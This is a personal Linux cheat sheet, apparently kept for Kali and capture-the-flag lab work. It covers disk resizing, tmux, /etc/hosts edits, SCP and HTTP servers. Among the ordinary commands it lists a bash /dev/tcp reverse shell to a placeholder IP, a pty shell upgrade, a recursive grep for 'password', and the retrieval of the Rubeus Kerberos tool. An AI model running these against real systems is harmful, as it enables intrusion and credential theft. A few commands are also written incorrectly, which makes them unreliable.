Usefull command's

1. Give more space to the VM from your hypervisor

2. Resizing the disk of a VM

sudo apt clean
##Verify disk space of /var
df -h /var
##Resize the disk
lsblk
##Verify Disk space
df -h /
sudo parted /dev/sda
##Inside Parted
resizepart 1 100%
yes
quit
##Verify disk expansion
lsblk
##Resize partition with the expansion
sudo resize2fs /dev/sda1
##Verify
df -h /

Install a new tool in Linux

# Download the tool
# Mv the tool to the usr/local/bin
 sudo mv LM-Studio-0.3.37-1-x64.AppImage /usr/bin/lmstudio
# Make the tool work without having to start it from the terminal 
 setsid lmstudio >/dev/null 2>&1 < /dev/null &

Tmux - split windows in Kali

# INSTALL TMUX
sudo apt update
sudo apt install tmux

# Horizontal split (top / bottom)
Ctrl + b, then "

# Vertical split (left / right)
Ctrl + b, then %

# Move between panes
Ctrl + b, then Arrow keys

# Detach from tmux session (keeps running)
Ctrl + b, then d

# Reattach last session
tmux attach

# List running sessions
 tmux ls
 
# Toggle fullscreen for current pane
 Ctrl + b, then z

Userfull commands

• Tilde on a Belgian keyboard (~)

CltGr + =

• ZIP

zip 1.zip file1 file2

• Copy content of a file

xclip -sel clip < source.txt

• Python virtual environment

python -m venv .venv 
source .venv/bin/activate     
pip install -r requirements.txt         

• Start a tool from everywhere

#move the tool to any location in our Path
echo $PATH

mv <TOOL> <PathLocation>

• To enable SSH on your Linux box, you can use the following command:

sudo systemctl enable ssh
sudo systemctl start 

• Output transformation with cut

#the '' sets the delimiter and fX displays the value before the delimiter
cut-d '"'-f2 access.log 

sudo sh -c "echo 'STMIP inlanefreight.htb' >> /etc/hosts" 
python3 -m http.server

• Retrieve open ports with netstat on a local machine

netstat -tulpn | grep LISTEN

FTP

connect to an FTP box

ftp ftp://ftpuser:<FTPUSER_PASSWORD>@localhost

DNS issues

sudo nano /etc/resolv.conf 
# add the following line
nameserver 8.8.8.8 
sudo systemctl restart NetworkManager 
sudo chown root:root /etc/resolv.conf 
sudo chmod 644 /etc/resolv.conf 

Change Java version

 update-java-alternatives --list 
sudo update-java-alternatives --set /path/to/java/version 

Other useful Bash commands

Search Specific Keyword

• Search a specific keyword within files:

  grep -iRl "password"

Start HTTP Server

• Start a simple HTTP server on a specified port (example: port 4444):

  python3 -m http.server 4444
  sudo php -S 0.0.0.0:4444

Change Keyboard Language

• Change keyboard language to Belgian (be):

  setxkbmap be

Add Entry to /etc/hosts

• Add an entry in one line to /etc/hosts:

  sudo echo "10.129.195.8 ignition.htb" | sudo tee -a /etc/hosts
  sudo sh -c "echo 'STMIP inlanefreight.htb' >> /etc/hosts" 

• Add multiple entries (e.g vhosts)

IP=10.129.42.195
printf "%s\t%s\n\n" "$IP" "app.inlanefreight.local dev.inlanefreight.local blog.inlanefreight.local" | sudo tee -a /etc/hosts

Save Output to File

• Save a string to a file:

  echo "output" > file.txt

Capture Network Traffic

• Start capturing network traffic on a specified interface (example: tun0) and port (example: 389):

  tcpdump -i tun0 port 389

Show User Accounts and Groups in Linux

• Display all user accounts and their groups in Linux:

  cat /etc/passwd | awk -F ':' '{print $1}' | xargs -L1 id

Download File via SSH with SCP

• Download a file from a remote server using SCP with specified port (example: 22):

  scp -P 22 [email protected]:C:/Users/Administrator/Downloads/Rubeus.exe /home/kali/kerberos

Upload File via SSH with SCP

• Upload a file to a remote server using SCP:

  scp /path/to/local/file username@hostname:/path/to/remote/file

Connect Using Private Key via SSH

• Connect to a remote server using a private key:

  ssh -i rsaroot [email protected]

Change Permission on Private Key File

• Change mode on id_rsa to obtain persistent access:

  chmod 600 id_rsa

Search for a File in Linux

• Search for a specific file from the current directory:

  find -name RootFlag210.txt
  find -name *flag*

List All Files Including Hidden Ones

• List all files including hidden files:

  ls -al

Get a Functional Shell After Reverse Shell

• Obtain a functional shell after gaining a reverse shell:

  python3 -c 'import pty;pty.spawn("/bin/bash")'

Start HTTP Server on Port 80

• Start a simple HTTP server on port 80:

  python3 -m http.server 80

Get Open Listening Ports on Linux

• Get open listening ports on Linux:

  ss --tln

Access Web Page with Curl

• Access a webpage with curl:

  curl -v http://address.TLD

If Kali Shows Black Screen

• Run filecheck in console mode and fix filesystem issues:

  fsck /dev/sda2

Task Manager Alternatives

• Use task manager alternatives like ftop, btop, htop:

  htop

Find Files with FZF

• Find files interactively using fzf:

  fzf

Display User Information

• Show UID, GID, and groups information of the current user:

  id

Get Info on Linux Command

• Get a simpler explanation of a Linux command using tldr:

  tldr curl

DNS Settings

• Show DNS settings from the network manager:

  nmcli dev show

Add User to Group

• Add your user to the vboxsf group in a guest VM to access shared drives:

  sudo adduser your-user vboxsf

Edit GRUB Configuration

• Add "mitigations=off" to the Linux command line in GRUB configuration:

  sudo nano /etc/default/grub
  # Add "mitigations=off" into CMDLINE_LINUX
  

• Create a more stable shell after getting a reverse shell

bash -c "bash -i >& /dev/tcp/{your_IP}/443 0>&1"

Copy grep's output

└──╼ cat web-all-content-types.txt | grep 'image' | xclip -se c